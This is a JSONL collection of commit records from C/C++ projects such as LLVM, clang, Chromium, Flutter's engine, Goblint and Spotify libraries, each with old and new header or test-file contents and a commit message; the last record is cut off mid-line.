{"commit":"7ae9b93a7d8f52dd01682b7c2e6df89f91a0cd29","old_file":"include\/llvm\/Transforms\/Instrumentation\/TraceValues.h","new_file":"include\/llvm\/Transforms\/Instrumentation\/TraceValues.h","old_contents":"\/\/===- llvm\/Transforms\/Instrumentation\/TraceValues.h - Tracing ---*- C++ -*--=\/\/\n\/\/\n\/\/ Support for inserting LLVM code to print values at basic block and method\n\/\/ exits.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_TRANSFORMS_INSTRUMENTATION_TRACEVALUES_H\n#define LLVM_TRANSFORMS_INSTRUMENTATION_TRACEVALUES_H\n\n#include \"llvm\/Pass.h\"\n\nclass InsertTraceCode : public Pass {\n  bool TraceBasicBlockExits, TraceMethodExits;\npublic:\n  InsertTraceCode(bool traceBasicBlockExits, bool traceMethodExits)\n    : TraceBasicBlockExits(traceBasicBlockExits), \n      TraceMethodExits(traceMethodExits) {}\n\n\n  \/\/--------------------------------------------------------------------------\n  \/\/ Function InsertCodeToTraceValues\n  \/\/ \n  \/\/ Inserts tracing code for all live values at basic block and\/or method exits\n  \/\/ as specified by `traceBasicBlockExits' and `traceMethodExits'.\n  \/\/\n  static bool doInsertTraceCode(Method *M, bool traceBasicBlockExits,\n                                bool traceMethodExits);\n\n  \/\/ doPerMethodWork - This method does the work.  Always successful.\n  \/\/\n  bool doPerMethodWork(Method *M) {\n    return doInsertTraceCode(M, TraceBasicBlockExits, TraceMethodExits);\n  }\n};\n\n#endif \/*LLVM_TRANSFORMS_INSTRUMENTATION_TRACEVALUES_H*\/\n","new_contents":"\/\/===- llvm\/Transforms\/Instrumentation\/TraceValues.h - Tracing ---*- C++ -*--=\/\/\n\/\/\n\/\/ Support for inserting LLVM code to print values at basic block and method\n\/\/ exits.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_TRANSFORMS_INSTRUMENTATION_TRACEVALUES_H\n#define LLVM_TRANSFORMS_INSTRUMENTATION_TRACEVALUES_H\n\n#include \"llvm\/Pass.h\"\nclass Method;\n\nclass InsertTraceCode : public Pass {\n  bool TraceBasicBlockExits, TraceMethodExits;\n  Method *PrintfMeth;\npublic:\n  InsertTraceCode(bool traceBasicBlockExits, bool traceMethodExits)\n    : TraceBasicBlockExits(traceBasicBlockExits), \n      TraceMethodExits(traceMethodExits) {}\n\n  \/\/ Add a prototype for printf if it is not already in the program.\n  \/\/\n  bool doPassInitialization(Module *M);\n\n  \/\/--------------------------------------------------------------------------\n  \/\/ Function InsertCodeToTraceValues\n  \/\/ \n  \/\/ Inserts tracing code for all live values at basic block and\/or method exits\n  \/\/ as specified by `traceBasicBlockExits' and `traceMethodExits'.\n  \/\/\n  static bool doit(Method *M, bool traceBasicBlockExits,\n                   bool traceMethodExits, Method *Printf);\n\n  \/\/ doPerMethodWork - This method does the work.  Always successful.\n  \/\/\n  bool doPerMethodWork(Method *M) {\n    return doit(M, TraceBasicBlockExits, TraceMethodExits, PrintfMeth);\n  }\n};\n\n#endif\n","subject":"Refactor trace values to work as a proper pass. Before it used to add methods while the pass was running which was a no no. Now it adds the printf method at pass initialization","message":"Refactor trace values to work as a proper pass.  Before it used to add\nmethods while the pass was running which was a no no.  Now it adds the\nprintf method at pass initialization\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@1456 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"bsd-2-clause","repos":"chubbymaggie\/asap,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,apple\/swift-llvm,apple\/swift-llvm,chubbymaggie\/asap,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,apple\/swift-llvm,apple\/swift-llvm,dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm"}
{"commit":"a0a4aa34596d60f28287fc386f598608c15ae680","old_file":"webkit\/support\/webkit_support_gfx.h","new_file":"webkit\/support\/webkit_support_gfx.h","old_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef WEBKIT_SUPPORT_WEBKIT_SUPPORT_GFX_H_\n#define WEBKIT_SUPPORT_WEBKIT_SUPPORT_GFX_H_\n\n#include <string>\n#include <vector>\n\n\/\/ TODO(darin): Remove once this #include has been upstreamed to ImageDiff.cpp.\n\/\/ ImageDiff.cpp expects that PATH_MAX has already been defined :-\/\n#include <limits.h>\n\nnamespace webkit_support {\n\n\/\/ Decode a PNG into an RGBA pixel array.\nbool DecodePNG(const unsigned char* input, size_t input_size,\n               std::vector<unsigned char>* output,\n               int* width, int* height);\n\n\/\/ Encode an RGBA pixel array into a PNG.\nbool EncodeRGBAPNG(const unsigned char* input,\n                   int width,\n                   int height,\n                   int row_byte_width,\n                   std::vector<unsigned char>* output);\n\n\/\/ Encode an BGRA pixel array into a PNG.\nbool EncodeBGRAPNG(const unsigned char* input,\n                   int width,\n                   int height,\n                   int row_byte_width,\n                   bool discard_transparency,\n                   std::vector<unsigned char>* output);\n\nbool EncodeBGRAPNGWithChecksum(const unsigned char* input,\n                               int width,\n                               int height,\n                               int row_byte_width,\n                               bool discard_transparency,\n                               const std::string& checksum,\n                               std::vector<unsigned char>* output);\n\n}  \/\/ namespace webkit_support\n\n#endif  \/\/ WEBKIT_SUPPORT_WEBKIT_SUPPORT_GFX_H_\n","new_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef WEBKIT_SUPPORT_WEBKIT_SUPPORT_GFX_H_\n#define WEBKIT_SUPPORT_WEBKIT_SUPPORT_GFX_H_\n\n#include <string>\n#include <vector>\n\nnamespace webkit_support {\n\n\/\/ Decode a PNG into an RGBA pixel array.\nbool DecodePNG(const unsigned char* input, size_t input_size,\n               std::vector<unsigned char>* output,\n               int* width, int* height);\n\n\/\/ Encode an RGBA pixel array into a PNG.\nbool EncodeRGBAPNG(const unsigned char* input,\n                   int width,\n                   int height,\n                   int row_byte_width,\n                   std::vector<unsigned char>* output);\n\n\/\/ Encode an BGRA pixel array into a PNG.\nbool EncodeBGRAPNG(const unsigned char* input,\n                   int width,\n                   int height,\n                   int row_byte_width,\n                   bool discard_transparency,\n                   std::vector<unsigned char>* output);\n\nbool EncodeBGRAPNGWithChecksum(const unsigned char* input,\n                               int width,\n                               int height,\n                               int row_byte_width,\n                               bool discard_transparency,\n                               const std::string& checksum,\n                               std::vector<unsigned char>* output);\n\n}  \/\/ namespace webkit_support\n\n#endif  \/\/ WEBKIT_SUPPORT_WEBKIT_SUPPORT_GFX_H_\n","subject":"Remove an include which has been upstreamed to ImageDiff.cpp.","message":"Remove an include which has been upstreamed to ImageDiff.cpp.\n\n\nBUG=none\nTEST=none\n\n\nReview URL: http:\/\/codereview.chromium.org\/8392031\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@107382 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"gavinp\/chromium,gavinp\/chromium,ropik\/chromium,yitian134\/chromium,ropik\/chromium,yitian134\/chromium,yitian134\/chromium,adobe\/chromium,adobe\/chromium,yitian134\/chromium,ropik\/chromium,yitian134\/chromium,adobe\/chromium,gavinp\/chromium,gavinp\/chromium,ropik\/chromium,yitian134\/chromium,gavinp\/chromium,yitian134\/chromium,yitian134\/chromium,ropik\/chromium,gavinp\/chromium,gavinp\/chromium,yitian134\/chromium,yitian134\/chromium,ropik\/chromium,adobe\/chromium,gavinp\/chromium,adobe\/chromium,gavinp\/chromium,ropik\/chromium,adobe\/chromium,ropik\/chromium,adobe\/chromium,ropik\/chromium,adobe\/chromium,adobe\/chromium,gavinp\/chromium,adobe\/chromium,adobe\/chromium"}
{"commit":"e1467dbfd5d1068c2dd69511f16bc218475a9396","old_file":"test\/Sema\/align-arm-apcs-gnu.c","new_file":"test\/Sema\/align-arm-apcs-gnu.c","old_contents":"\/\/ RUN: %clang_cc1 -triple arm-unknown-unknown -target-abi apcs-gnu -fsyntax-only -verify %s\n\nstruct s0 { double f0; int f1; };\nchar chk0[__alignof__(struct s0) == 4 ? 1 : -1]; \n\ndouble g1;\nshort chk1[__alignof__(g1) == 4 ? 1 : -1]; \nshort chk2[__alignof__(double) == 4 ? 1 : -1];\n\nlong long g2;\nshort chk1[__alignof__(g2) == 4 ? 1 : -1]; \nshort chk2[__alignof__(long long) == 4 ? 1 : -1];\n\n_Complex double g3;\nshort chk1[__alignof__(g3) == 4 ? 1 : -1]; \nshort chk2[__alignof__(_Complex double) == 4 ? 1 : -1];\n","new_contents":"\/\/ RUN: %clang_cc1 -triple arm-unknown-unknown -target-abi apcs-gnu -fsyntax-only -verify %s\n\nstruct s0 { double f0; int f1; };\nchar chk0[__alignof__(struct s0) == 4 ? 1 : -1];\n","subject":"Fix r135934. Rename was intended, but without additional tests for double.","message":"Fix r135934.  Rename was intended, but without additional tests for double.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@135935 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"254b2638962bd632aa52b3102caf418c43ac25b5","old_file":"test\/Driver\/masm.c","new_file":"test\/Driver\/masm.c","old_contents":"\/\/ REQUIRES: x86-registered-target\n\/\/ RUN: %clang -target i386-unknown-linux -masm=intel %s -S -o - | FileCheck --check-prefix=CHECK-INTEL %s\n\/\/ RUN: %clang -target i386-unknown-linux -masm=att %s -S -o - | FileCheck --check-prefix=CHECK-ATT %s\n\/\/ RUN: not %clang -target i386-unknown-linux -masm=somerequired %s -S -o - 2>&1 | FileCheck --check-prefix=CHECK-SOMEREQUIRED %s\n\/\/ REQUIRES: arm-registered-target\n\/\/ RUN: %clang -target arm-unknown-eabi -masm=intel %s -S -o - 2>&1 | FileCheck --check-prefix=CHECK-ARM %s\n\nint f() {\n\/\/ CHECK-ATT: movl      $0, %eax\n\/\/ CHECK-INTEL: mov     eax, 0\n\/\/ CHECK-SOMEREQUIRED: error: unsupported argument 'somerequired' to option 'masm='\n\/\/ CHECK-ARM: warning: argument unused during compilation: '-masm=intel'\n  return 0;\n}\n","new_contents":"\/\/ RUN: %clang -target i386-unknown-linux -masm=intel -S %s -### 2>&1 | FileCheck --check-prefix=CHECK-INTEL %s\n\/\/ RUN: %clang -target i386-unknown-linux -masm=att -S %s -### 2>&1 | FileCheck --check-prefix=CHECK-ATT %s\n\/\/ RUN: %clang -target i386-unknown-linux -S -masm=somerequired %s -### 2>&1 | FileCheck --check-prefix=CHECK-SOMEREQUIRED %s\n\/\/ RUN: %clang -target arm-unknown-eabi -S -masm=intel %s -### 2>&1 | FileCheck --check-prefix=CHECK-ARM %s\n\nint f() {\n\/\/ CHECK-INTEL: -x86-asm-syntax=intel\n\/\/ CHECK-ATT: -x86-asm-syntax=att\n\/\/ CHECK-SOMEREQUIRED: error: unsupported argument 'somerequired' to option 'masm='\n\/\/ CHECK-ARM: warning: argument unused during compilation: '-masm=intel'\n  return 0;\n}\n","subject":"Make this test target independent.","message":"Make this test target independent.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@208725 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"6474370f2e67ed392c4685c98f2eb88dce79cff6","old_file":"src\/python_threads.h","new_file":"src\/python_threads.h","old_contents":"#ifndef PYTHON_THREADS\n#define PYTHON_THREADS\n\n#ifdef __EMSCRIPTEN__\n\nstatic inline void init_python_threads() { }\n\n#else\n\n#include \"Python.h\"\n\nstatic inline void init_python_threads() { PyEval_InitThreads(); }\n\n#endif\n\n#endif\n","new_contents":"#ifndef PYTHON_THREADS\n#define PYTHON_THREADS\n\n#ifdef __EMSCRIPTEN__\n\nstatic inline void init_python_threads(void) { }\n\n#else\n\n#include \"Python.h\"\n\nstatic inline void init_python_threads(void) { PyEval_InitThreads(); }\n\n#endif\n\n#endif\n","subject":"Add prototype to prevent warning.","message":"Add prototype to prevent warning.\n","lang":"C","license":"lgpl-2.1","repos":"renpy\/pygame_sdl2,renpy\/pygame_sdl2,renpy\/pygame_sdl2,renpy\/pygame_sdl2"}
{"commit":"6cbea9ce7e6598d25648d09987309dafeb794179","old_file":"shell\/android\/platform_view_android.h","new_file":"shell\/android\/platform_view_android.h","old_contents":"\/\/ Copyright 2015 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef SKY_SHELL_PLATFORM_VIEW_ANDROID_H_\n#define SKY_SHELL_PLATFORM_VIEW_ANDROID_H_\n\n#include \"sky\/shell\/platform_view.h\"\n\nstruct ANativeWindow;\n\nnamespace sky {\nnamespace shell {\n\nclass PlatformViewAndroid : public PlatformView {\n public:\n  static bool Register(JNIEnv* env);\n  ~PlatformViewAndroid() override;\n\n  \/\/ Called from Java\n  void Detach(JNIEnv* env, jobject obj);\n  void SurfaceCreated(JNIEnv* env, jobject obj, jobject jsurface);\n  void SurfaceDestroyed(JNIEnv* env, jobject obj);\n\n private:\n  void ReleaseWindow();\n\n  ANativeWindow* window_;\n\n  DISALLOW_COPY_AND_ASSIGN(PlatformViewAndroid);\n};\n\n}  \/\/ namespace shell\n}  \/\/ namespace sky\n\n#endif  \/\/ SKY_SHELL_PLATFORM_VIEW_ANDROID_H_\n","new_contents":"\/\/ Copyright 2015 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef SKY_SHELL_PLATFORM_VIEW_ANDROID_H_\n#define SKY_SHELL_PLATFORM_VIEW_ANDROID_H_\n\n#include \"sky\/shell\/platform_view.h\"\n\nstruct ANativeWindow;\n\nnamespace sky {\nnamespace shell {\n\nclass PlatformViewAndroid : public PlatformView {\n public:\n  static bool Register(JNIEnv* env);\n  ~PlatformViewAndroid() override;\n\n  \/\/ Called from Java\n  void Detach(JNIEnv* env, jobject obj);\n  void SurfaceCreated(JNIEnv* env, jobject obj, jobject jsurface);\n  void SurfaceDestroyed(JNIEnv* env, jobject obj);\n\n private:\n  void ReleaseWindow();\n\n  DISALLOW_COPY_AND_ASSIGN(PlatformViewAndroid);\n};\n\n}  \/\/ namespace shell\n}  \/\/ namespace sky\n\n#endif  \/\/ SKY_SHELL_PLATFORM_VIEW_ANDROID_H_\n","subject":"Stop SkyShell from crashing on startup","message":"Stop SkyShell from crashing on startup\n\nR=chinmaygarde@google.com\n\nReview URL: https:\/\/codereview.chromium.org\/1178773002.\n","lang":"C","license":"bsd-3-clause","repos":"aam\/engine,flutter\/engine,chinmaygarde\/flutter_engine,tvolkert\/engine,takaaptech\/sky_engine,mxia\/engine,chinmaygarde\/flutter_engine,jason-simmons\/flutter_engine,jason-simmons\/flutter_engine,iansf\/sky_engine,takaaptech\/sky_engine,qiankunshe\/sky_engine,mikejurka\/engine,chinmaygarde\/flutter_engine,krisgiesing\/sky_engine,devoncarew\/sky_engine,jamesr\/sky_engine,Hixie\/sky_engine,mdakin\/engine,krisgiesing\/sky_engine,mpcomplete\/engine,iansf\/sky_engine,iansf\/sky_engine,devoncarew\/sky_engine,axinging\/sky_engine,jason-simmons\/sky_engine,takaaptech\/sky_engine,lyceel\/engine,flutter\/engine,mdakin\/engine,jamesr\/flutter_engine,chinmaygarde\/sky_engine,devoncarew\/engine,jamesr\/flutter_engine,zhangxq5012\/sky_engine,Hixie\/sky_engine,mpcomplete\/engine,zhangxq5012\/sky_engine,flutter\/engine,rmacnak-google\/engine,mpcomplete\/engine,mxia\/engine,TribeMedia\/sky_engine,mxia\/engine,mikejurka\/engine,chinmaygarde\/sky_engine,qiankunshe\/sky_engine,lyceel\/engine,jason-simmons\/flutter_engine,chinmaygarde\/flutter_engine,mpcomplete\/engine,jamesr\/flutter_engine,jason-simmons\/sky_engine,mpcomplete\/engine,krisgiesing\/sky_engine,jamesr\/sky_engine,devoncarew\/sky_engine,axinging\/sky_engine,mpcomplete\/flutter_engine,jamesr\/sky_engine,tvolkert\/engine,qiankunshe\/sky_engine,abarth\/sky_engine,TribeMedia\/sky_engine,xunmengfeng\/engine,krisgiesing\/sky_engine,abarth\/sky_engine,cdotstout\/sky_engine,rmacnak-google\/engine,jimsimon\/sky_engine,mikejurka\/engine,chinmaygarde\/flutter_engine,jimsimon\/sky_engine,rmacnak-google\/engine,flutter\/engine,TribeMedia\/sky_engine,afandria\/sky_engine,xunmengfeng\/engine,cdotstout\/sky_engine,TribeMedia\/sky_engine,devoncarew\/sky_engine,cdotstout\/sky_engine,mpcomplete\/flutter_engine,TribeMedia\/sky_engine,mxia\/engine,TribeMedia\/sky_engine,zhangxq5012\/sky_engine,tvolkert\/engine,TribeMedia\/sky_engine,jamesr\/flutter_engine,qiankunshe\/sky_engine,qiankunshe\/sky_engine,tvolkert\/engine,qiankunshe\/sky_engine,jimsimon\/sky_engine,Hixie\/sky_engine,abarth\/sky_engine,cdotstout\/sky_engine,mpcomplete\/engine,chinmaygarde\/sky_engine,mikejurka\/engine,flutter\/engine,jamesr\/flutter_engine,cdotstout\/sky_engine,devoncarew\/engine,afandria\/sky_engine,afandria\/sky_engine,jamesr\/sky_engine,lyceel\/engine,mdakin\/engine,chinmaygarde\/flutter_engine,mxia\/engine,devoncarew\/engine,qiankunshe\/sky_engine,chinmaygarde\/sky_engine,Hixie\/sky_engine,takaaptech\/sky_engine,takaaptech\/sky_engine,aam\/engine,flutter\/engine,devoncarew\/sky_engine,mikejurka\/engine,lyceel\/engine,jason-simmons\/flutter_engine,devoncarew\/sky_engine,aam\/engine,xunmengfeng\/engine,afandria\/sky_engine,xunmengfeng\/engine,afandria\/sky_engine,takaaptech\/sky_engine,qiankunshe\/sky_engine,jamesr\/sky_engine,jamesr\/flutter_engine,TribeMedia\/sky_engine,mpcomplete\/flutter_engine,jamesr\/flutter_engine,axinging\/sky_engine,jason-simmons\/sky_engine,xunmengfeng\/engine,mdakin\/engine,rmacnak-google\/engine,jimsimon\/sky_engine,abarth\/sky_engine,axinging\/sky_engine,rmacnak-google\/engine,iansf\/sky_engine,mpcomplete\/engine,afandria\/sky_engine,iansf\/sky_engine,xunmengfeng\/engine,zhangxq5012\/sky_engine,Hixie\/sky_engine,mdakin\/engine,tvolkert\/engine,abarth\/sky_engine,jamesr\/flutter_engine,axinging\/sky_engine,jason-simmons\/flutter_engine,takaaptech\/sky_engine,flutter\/engine,Hixie\/sky_engine,aam\/engine,aam\/engine,jason-simmons\/flutter_engine,zhangxq5012\/sky_engine,Hixie\/sky_engine,devoncarew\/engine,mxia\/engine,aam\/engine,devoncarew\/sky_engine,axinging\/sky_engine,devoncarew\/engine,abarth\/sky_engine,aam\/engine,jason-simmons\/sky_engine,axinging\/sky_engine,zhangxq5012\/sky_engine,zhangxq5012\/sky_engine,tvolkert\/engine,chinmaygarde\/sky_engine,tvolkert\/engine,chinmaygarde\/sky_engine,mikejurka\/engine,krisgiesing\/sky_engine,krisgiesing\/sky_engine,jimsimon\/sky_engine,rmacnak-google\/engine,mdakin\/engine,devoncarew\/engine,jimsimon\/sky_engine,jason-simmons\/flutter_engine,takaaptech\/sky_engine,chinmaygarde\/flutter_engine,axinging\/sky_engine,jimsimon\/sky_engine,devoncarew\/engine,mikejurka\/engine,iansf\/sky_engine,iansf\/sky_engine,mikejurka\/engine,mpcomplete\/flutter_engine,jimsimon\/sky_engine,xunmengfeng\/engine,zhangxq5012\/sky_engine,lyceel\/engine,mdakin\/engine,mpcomplete\/engine,axinging\/sky_engine,jimsimon\/sky_engine,takaaptech\/sky_engine,flutter\/engine,jamesr\/flutter_engine,chinmaygarde\/sky_engine,mpcomplete\/flutter_engine,jason-simmons\/flutter_engine,iansf\/sky_engine,rmacnak-google\/engine,mikejurka\/engine,aam\/engine,afandria\/sky_engine,cdotstout\/sky_engine,zhangxq5012\/sky_engine,cdotstout\/sky_engine,jamesr\/sky_engine,jamesr\/sky_engine,jason-simmons\/sky_engine,mxia\/engine,lyceel\/engine,abarth\/sky_engine,jason-simmons\/sky_engine,mxia\/engine,jason-simmons\/sky_engine,lyceel\/engine,mpcomplete\/flutter_engine,mdakin\/engine,krisgiesing\/sky_engine,TribeMedia\/sky_engine,afandria\/sky_engine,Hixie\/sky_engine"}
{"commit":"dfc745d620ad31430ce88ba92007c1289061c0fc","old_file":"libopenspotify\/browse.h","new_file":"libopenspotify\/browse.h","old_contents":"#ifndef LIBOPENSPOTIFY_BROWSE_H\n#define LIBOPENSPOTIFY_BROWSE_H\n\n#include \"buf.h\"\n#include \"sp_opaque.h\"\n\n#define BROWSE_RETRY_TIMEOUT\t30\n\nint browse_process(sp_session *session, struct request *req);\n\n#endif\n","new_contents":"#ifndef LIBOPENSPOTIFY_BROWSE_H\n#define LIBOPENSPOTIFY_BROWSE_H\n\n#include <spotify\/api.h>\n\n#include \"buf.h\"\n#include \"request.h\"\n\n\n#define BROWSE_RETRY_TIMEOUT\t30\n\n\nint browse_process(sp_session *session, struct request *req);\n\n#endif\n","subject":"Include spotify\/api.h and request.h instead of sp_opaque.h","message":"Include spotify\/api.h and request.h instead of sp_opaque.h\n","lang":"C","license":"bsd-2-clause","repos":"noahwilliamsson\/openspotify,noahwilliamsson\/openspotify"}
{"commit":"ee38cfbb3217cce85021efe883916823dbbd0f8d","old_file":"tests\/regression\/24-octagon\/18-problem-signed-unsigned-overflow.c","new_file":"tests\/regression\/24-octagon\/18-problem-signed-unsigned-overflow.c","old_contents":"","new_contents":"\/\/ PARAM: --sets solver td3 --set ana.activated \"['base','threadid','threadflag','mallocWrapper','octApron']\"\n\/\/ Example from https:\/\/github.com\/sosy-lab\/sv-benchmarks\/blob\/master\/c\/bitvector-regression\/signextension-1.c\n#include \"stdio.h\"\n#include <assert.h>\nint main() {\n  \/\/ This test is a part taken from of 24 13\n  unsigned short int allbits = -1;\n  short int signedallbits = allbits;\n  int signedtosigned = signedallbits;\n\n  assert(allbits == 65535);\n  assert(signedallbits == -1);\n  assert(signedtosigned == -1);\n\n\n  if (signedtosigned == -1) {\n    assert(1);\n  }\n\n  return (0);\n}\n","subject":"Add a test for octagon","message":"Add a test for octagon\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"490fabb3cf7bd259a4d2a26cfece0c0c70564e37","old_file":"src\/loader.h","new_file":"src\/loader.h","old_contents":"\/*\n * Copyright (c) 2014, 2016 Scott Bennett <scottb@fastmail.com>\n *\n * Permission to use, copy, modify, and distribute this software for any\n * purpose with or without fee is hereby granted, provided that the above\n * copyright notice and this permission notice appear in all copies.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n *\/\n\n#ifndef\tLOADER_H\n#define\tLOADER_H\n\n#include \"bool.h\"\n\nbool load(const char * fileName);\n\n#endif\t\/* LOADER_H *\/\n","new_contents":"\/*\n * Written by Scott Bennett.\n * Public domain.\n *\/\n\n#ifndef\tLOADER_H\n#define\tLOADER_H\n\n#include \"bool.h\"\n\nbool load(const char * fileName);\n\n#endif\t\/* LOADER_H *\/\n","subject":"Move this file into public domain; it's too simple to copyright...","message":"Move this file into public domain; it's too simple to copyright...\n","lang":"C","license":"isc","repos":"sbennett1990\/YESS,sbennett1990\/YESS,sbennett1990\/YESS"}
{"commit":"e2ef60a90646606999399bf1d7de7c189d6c62ca","old_file":"test\/ubsan\/TestCases\/Misc\/unreachable_asan-compatibility.c","new_file":"test\/ubsan\/TestCases\/Misc\/unreachable_asan-compatibility.c","old_contents":"\/\/ Ensure compatiblity of UBSan unreachable with ASan in the presence of\n\/\/ noreturn functions\n\/\/ RUN: %clang -O2 -fsanitize=address,unreachable %s -emit-llvm -S -o - | FileCheck %s\n\/\/ REQUIRES: ubsan-asan\n\nvoid bar(void) __attribute__((noreturn));\n\nvoid foo() {\n  bar();\n}\n\/\/ CHECK-LABEL: define void @foo()\n\/\/ CHECK:       call void @__asan_handle_no_return\n\/\/ CHECK-NEXT:  call void @bar\n\/\/ CHECK-NEXT:  call void @__asan_handle_no_return\n\/\/ CHECK-NEXT:  call void @__ubsan_handle_builtin_unreachable\n\/\/ CHECK-NEXT:  unreachable\n","new_contents":"\/\/ Ensure compatiblity of UBSan unreachable with ASan in the presence of\n\/\/ noreturn functions\n\/\/ RUN: %clang -O2 -fPIC -fsanitize=address,unreachable %s -emit-llvm -S -o - | FileCheck %s\n\/\/ REQUIRES: ubsan-asan\n\nvoid bar(void) __attribute__((noreturn));\n\nvoid foo() {\n  bar();\n}\n\/\/ CHECK-LABEL: define void @foo()\n\/\/ CHECK:       call void @__asan_handle_no_return\n\/\/ CHECK-NEXT:  call void @bar\n\/\/ CHECK-NEXT:  call void @__asan_handle_no_return\n\/\/ CHECK-NEXT:  call void @__ubsan_handle_builtin_unreachable\n\/\/ CHECK-NEXT:  unreachable\n","subject":"Fix test when isPICDefault() returns false after rCTE352003","message":"[ubsan] Fix test when isPICDefault() returns false after rCTE352003\n\ngit-svn-id: c199f293c43da69278bea8e88f92242bf3aa95f7@352013 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt"}
{"commit":"d31d8165f64cd4047a31ff5d5dd831829b1a4ad3","old_file":"Sources\/SPTPersistentCacheResponse+Private.h","new_file":"Sources\/SPTPersistentCacheResponse+Private.h","old_contents":"\/*\n * Copyright (c) 2016 Spotify AB.\n *\n * Licensed to the Apache Software Foundation (ASF) under one\n * or more contributor license agreements.  See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership.  The ASF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License.  You may obtain a copy of the License at\n *\n *   http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied.  See the License for the\n * specific language governing permissions and limitations\n * under the License.\n *\/\n#import <SPTPersistentCache\/SPTPersistentCacheResponse.h>\n\nNSString *NSStringFromSPTPersistentCacheResponseCode(SPTPersistentCacheResponseCode code);\n\n@interface SPTPersistentCacheResponse (Private)\n\n- (instancetype)initWithResult:(SPTPersistentCacheResponseCode)result\n                         error:(NSError *)error\n                        record:(SPTPersistentCacheRecord *)record;\n\n@end\n","new_contents":"\/*\n * Copyright (c) 2016 Spotify AB.\n *\n * Licensed to the Apache Software Foundation (ASF) under one\n * or more contributor license agreements.  See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership.  The ASF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License.  You may obtain a copy of the License at\n *\n *   http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied.  See the License for the\n * specific language governing permissions and limitations\n * under the License.\n *\/\n#import <SPTPersistentCache\/SPTPersistentCacheResponse.h>\n\nextern NSString *NSStringFromSPTPersistentCacheResponseCode(SPTPersistentCacheResponseCode 